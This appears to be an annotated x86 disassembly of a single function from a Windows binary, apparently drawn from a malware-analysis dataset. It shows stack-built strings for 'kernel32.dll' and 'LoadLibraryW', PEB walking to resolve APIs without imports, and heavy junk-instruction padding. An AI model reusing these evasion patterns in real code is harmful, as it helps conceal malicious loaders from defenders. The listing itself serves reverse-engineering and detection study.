Function at 0x403826
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub ebx, 0x630
pop ebx
cmp dword [ebp - 0xd70], 0
jne 0x4034d9
mov dword [ebp - 0x318], 0
jmp 0x403739
mov ecx, dword [ebp - 0xd70]
mov dword [ebp - 0x534], ecx
push edi
jmp 0x40373f
add edi, 0x1a01
jmp 0x40374c
pop edi
push ecx
push ebx
add esp, 4
and ecx, 0x14fb1
and ecx, 0xaccc
pop ecx
push esi
push esi
add esp, 4
sub esi, 0x970
pop esi
cmp dword [ebp - 0x318], 0
jne 0x404070
mov eax, 0x6b
mov word [ebp - 0x1900], ax
mov ecx, 0x65
mov word [ebp - 0x18fe], cx
mov edx, 0x72
mov word [ebp - 0x18fc], dx
mov eax, 0x6e
mov word [ebp - 0x18fa], ax
mov ecx, 0x65
mov word [ebp - 0x18f8], cx
mov edx, 0x6c
mov word [ebp - 0x18f6], dx
mov eax, 0x33
mov word [ebp - 0x18f4], ax
mov ecx, 0x32
mov word [ebp - 0x18f2], cx
mov edx, 0x2e
mov word [ebp - 0x18f0], dx
mov eax, 0x64
mov word [ebp - 0x18ee], ax
mov ecx, 0x6c
mov word [ebp - 0x18ec], cx
mov edx, 0x6c
mov word [ebp - 0x18ea], dx
xor eax, eax
mov word [ebp - 0x18e8], ax
push ecx
push eax
add esp, 4
call 0x403826
add byte [edi], dh
dec ebx
cmp bh, byte [edx]
inc ecx
dec ecx
xor al, 0x3f
inc eax
cmp al, byte [ebx + 0x5eb04c4]
aas
cmp byte [eax + 0x3a], dl
dec edx
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0xa25a
xor ecx, 0x4245
pop ecx
mov byte [ebp - 0x91c], 0x4c
mov byte [ebp - 0x91b], 0x6f
mov byte [ebp - 0x91a], 0x61
mov byte [ebp - 0x919], 0x64
mov byte [ebp - 0x918], 0x4c
mov byte [ebp - 0x917], 0x69
mov byte [ebp - 0x916], 0x62
mov byte [ebp - 0x915], 0x72
mov byte [ebp - 0x914], 0x61
mov byte [ebp - 0x913], 0x72
mov byte [ebp - 0x912], 0x79
mov byte [ebp - 0x911], 0x57
mov byte [ebp - 0x910], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x2000], ecx
mov edx, dword [ebp - 0x2000]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x2004], eax
mov ecx, dword [ebp - 0x2004]
mov dword [ebp - 0x16ec], ecx
push edi
push esi
add esp, 4
sub edi, 0xb6c7
xor edi, 0x1681a
sub edi, 0x175f1
pop edi
push eax
or eax, 0xe013
sub eax, 0xf3cc
pop eax
push ebx
push edx
add esp, 4
and ebx, 0x8189
add byte [eax], al
pop ebx
push ecx
xor ecx, 0x39b4
or ecx, 0x15bb0
sub ecx, 0x88d3
sub ecx, 0xeb60
pop ecx
push eax
push ebx
add esp, 4
add eax, 0xe1fc
pop eax
push esi
push edx
add esp, 4
and esi, 0x1098c
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x2020], ecx
mov edx, dword [ebp - 0x2020]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x2024], eax
mov ecx, dword [ebp - 0x2024]
mov dword [ebp - 0x1704], ecx
push edi
push ebx
add esp, 4
and edi, 0xdca3
xor edi, 0x12bd2
pop edi
push eax
xor eax, 0xc25b
and eax, 0xbafc
add eax, 0x956f
pop eax
push edi
push eax
add esp, 4
xor edi, 0x5569
pop edi
cmp dword [ebp - 0x1704], 0
jne 0x404114
mov dword [ebp - 0x318], 0
jmp 0x4043bb
mov edx, dword [ebp - 0x1704]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xd8c], ecx
push esi
push edx
add esp, 4
add esi, 0x146a9
or esi, 0x59fc
pop esi
push eax
add eax, 0xa2ad
add eax, 0x8117
pop eax
push ecx
push esi
add esp, 4
xor ecx, 0x182b8
sub ecx, 0x9b59
pop ecx
cmp dword [ebp - 0xd8c], 0
jne 0x404170
mov dword [ebp - 0x318], 0
jmp 0x4043bb
mov edx, dword [ebp - 0xd8c]
mov dword [ebp - 0x53c], edx